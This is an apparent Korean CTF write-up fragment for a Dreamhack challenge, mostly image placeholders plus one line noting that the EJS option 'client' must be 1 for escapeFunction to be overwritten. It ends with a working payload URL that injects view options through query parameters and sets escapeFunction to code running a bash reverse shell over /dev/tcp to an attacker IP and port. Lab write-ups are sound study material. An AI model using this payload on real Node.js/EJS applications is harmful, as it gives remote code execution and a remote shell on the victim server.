image.png

image.png

image.png

image.png

opts의 client를 1로 맞춰주어야 정상적으로 escapeFunction이 덮힌다.

image.png

페이로드

<http://host3.dreamhack.games:15404/?name=123&settings[view%20options][client]=1&settings[view%20options][escapeFunction]=function(str){process.mainModule.require(%27child_process%27).execSync(%27bash%20-i%20%3E&%20/dev/tcp/ip주소/포트%200%3E&1%27);return%20str;}>;